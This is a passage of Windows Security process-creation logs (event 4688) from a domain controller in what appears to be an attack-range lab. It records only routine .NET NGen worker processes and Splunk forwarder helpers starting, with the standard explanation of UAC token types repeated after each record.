Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255143 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1278 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7ec -InterruptEvent 0 -NGENProcess 79c -Pipe 7e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255142 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7f0 -InterruptEvent 0 -NGENProcess 79c -Pipe 78c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255141 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 7f0 -Pipe 7bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255140 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7a0 -InterruptEvent 0 -NGENProcess 78c -Pipe 7d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255152 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 830 -InterruptEvent 0 -NGENProcess 810 -Pipe 820 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255151 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1254 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255150 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 844 -Pipe 80c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255149 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 83c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 834 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255148 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1214 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 810 -InterruptEvent 0 -NGENProcess 808 -Pipe 818 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255147 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 830 -InterruptEvent 0 -NGENProcess 7c4 -Pipe 7a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255146 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 80c -InterruptEvent 0 -NGENProcess 81c -Pipe 828 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255156 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6b0 -InterruptEvent 0 -NGENProcess 858 -Pipe 85c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255155 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x264 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 83c -InterruptEvent 0 -NGENProcess 810 -Pipe 7f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255154 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1110 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f0 -InterruptEvent 0 -NGENProcess 368 -Pipe 2a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255153 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255163 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255162 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 824 -InterruptEvent 0 -NGENProcess 7c4 -Pipe 344 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255161 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x598 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 804 -InterruptEvent 0 -NGENProcess 368 -Pipe 7ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255160 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x84c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 844 -Pipe 370 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token 